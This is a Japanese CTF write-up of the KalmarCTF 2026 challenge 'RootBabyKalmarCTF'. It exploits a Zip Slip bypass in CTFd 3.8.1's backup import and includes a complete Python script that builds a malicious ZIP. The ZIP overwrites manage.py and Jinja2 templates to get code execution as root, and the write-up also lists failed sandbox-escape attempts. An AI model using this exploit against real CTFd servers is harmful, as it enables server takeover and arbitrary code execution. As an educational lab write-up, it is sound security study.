KalmarCTF 2026 RootBabyKalmarCTF Writeup — Zip Slip (CVE-2026-30345) で CTFd root 奪取
概要
KalmarCTF 2026 の Web 問題「RootBabyKalmarCTF」(170pts)。
CTFd 3.8.1 のインスタンスが与えられ、admin 認証情報で管理パネルにアクセスできる。
目標は admin ではなく root 権限でファイル /flag2-<random>.txt を読むこと。
脆弱性
CVE-2026-30345: CTFd 3.8.1 Zip Slip (Path Traversal)
/admin/import のバックアップインポート機能で、ZIP ファイル内のエントリ名に .. が含まれるかチェックしている。
しかし uploads//absolute/path 形式(ダブルスラッシュ)でバイパス可能。
チェックのコード
for f in members:
if f.startswith("/") or ".." in f:
raise zipfile.BadZipfile
バイパス
エントリ名: uploads//opt/CTFd/manage.py
startswith("/")→ False(uploads/で始まる)".." in f→ False(..を含まない)- ファイル処理:
f.split("/", 1)[1]→/opt/CTFd/manage.py(絶対パス) os.path.join("/var/CTFd/uploads", "/opt/CTFd/manage.py")→/opt/CTFd/manage.py
Python の os.path.join は第2引数が絶対パスの場合、第1引数を無視する。
これが Zip Slip バイパスの核心。
攻略手順
Step 1: エクスポートの取得
admin でログインし、/admin/export から正規のバックアップ ZIP を取得。
DB 構造(db/ ディレクトリ)がインポートに必要。
Step 2: 悪意ある ZIP 作成
3つのファイルを Zip Slip で配置する。
manage.py—background_import_ctfがsubprocess.Popenで別プロセスとして実行するファイル。フラグを読んでテンプレートディレクトリに書き込むコードを仕込む。notifications.html— Jinja2 テンプレート。{% include "flag_data.html" %}でフラグファイルを読み込む。flag_data.html— プレースホルダ。manage.py がフラグ内容で上書きする。
import zipfile, os
EXPORT_DIR = '/tmp/ctfd-export'
OUTPUT = '/tmp/exploit.zip'
manage_py = '''#!/usr/bin/env python3
import os, glob
flag = ''
for f in glob.glob('/flag2-*.txt'):
with open(f) as fh: flag += fh.read()
if not flag: flag = 'NO_FLAG: ' + str(os.listdir('/'))
for path in ['/opt/CTFd/CTFd/themes/core/static/img/f.txt',
'/opt/CTFd/CTFd/themes/core/templates/flag_data.html']:
try:
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'w') as fh: fh.write(flag)
except: pass
from flask.cli import FlaskGroup
from CTFd import create_app
app = create_app()
cli = FlaskGroup(app)
cli()
'''
# Jinja2 テンプレート: flag_data.html をインクルードしてフラグを表示
# MARKER={{ 7*7 }} はテンプレートエンジンの動作確認用(49が表示されれば成功)
ssti_include = '{% include "flag_data.html" ignore missing %}MARKER={{ 7*7 }}'
with zipfile.ZipFile(OUTPUT, 'w') as zf:
# DB files (required for valid import)
for root, dirs, files in os.walk(os.path.join(EXPORT_DIR, 'db')):
for fname in files:
fpath = os.path.join(root, fname)
zf.write(fpath, os.path.relpath(fpath, EXPORT_DIR))
# Zip Slip payloads
zf.writestr('uploads//opt/CTFd/manage.py', manage_py)
zf.writestr('uploads//opt/CTFd/CTFd/themes/core/templates/notifications.html',
ssti_include)
zf.writestr('uploads//opt/CTFd/CTFd/themes/core/templates/flag_data.html',
'PLACEHOLDER')
Step 3: 1回目のインポート
/admin/import に ZIP をアップロード。
これにより manage.py とテンプレートファイルが上書きされる。
Step 4: 2回目のインポート
なぜ2回必要か? 1回目のインポートで manage.py を上書きし、2回目のインポートで CTFd が background_import_ctf → subprocess.Popen で 上書き済みの manage.py を新プロセスとして実行する。つまり1回目は「武器の配置」、2回目が「発射」。
manage.py が:
/flag2-*.txtを glob で検索- フラグ内容を
flag_data.htmlに書き込み(テンプレート経由で表示用) - フラグ内容を
static/img/f.txtにも書き込み(直接アクセスのバックアップ) - 元の import 処理を実行
Step 5: フラグ取得
/notifications にアクセス。
テンプレートが {% include "flag_data.html" %} でフラグを表示。
フラグ
kalmar{RootBabyKalmarCTF-wow_you_are_really_up_to_no_good_you_naughty_root_wizard_10d78345f5b9e992}
失敗した攻撃(学び)
| 試行 | 結果 | 学び |
|---|---|---|
| プラグインアップロード | /admin/plugins が 404 | 環境ごとに機能が無効化されてることがある |
| SSTI via Pages API | テンプレート未評価 | CTFd はページコンテンツを Jinja2 として処理しない |
| Jinja2 Sandbox bypass | __globals__ ブロック | CTFd は SandboxedEnvironment を使用。attr(), 文字列連結, lipsum 全て失敗 |
| sandbox.py 上書き | 上書き成功だが反映されず | Python の sys.modules キャッシュがモジュール再読み込みを阻害 |
| テンプレートキャッシュ問題 | 上書き後も古い内容 | Jinja2 LRU キャッシュ。未キャッシュのテンプレートを狙う |
| sitecustomize.py, .pth | 書き込み成功だが実行されず | プロセス再起動なしでは Python 起動時フックは効かない |
キーインサイト
os.path.joinの挙動: 第2引数が絶対パスなら第1引数を無視する — Zip Slip バイパスの核心background_import_ctfは新プロセスを起動: manage.py を上書きすれば次のインポートで任意コード実行- Jinja2 テンプレートキャッシュ: 未アクセスのテンプレートを狙う(LRU キャッシュ回避)
docker-compose.ymlのuser: root: CTFd プロセスが root で動くため任意ファイルの読み書きが可能
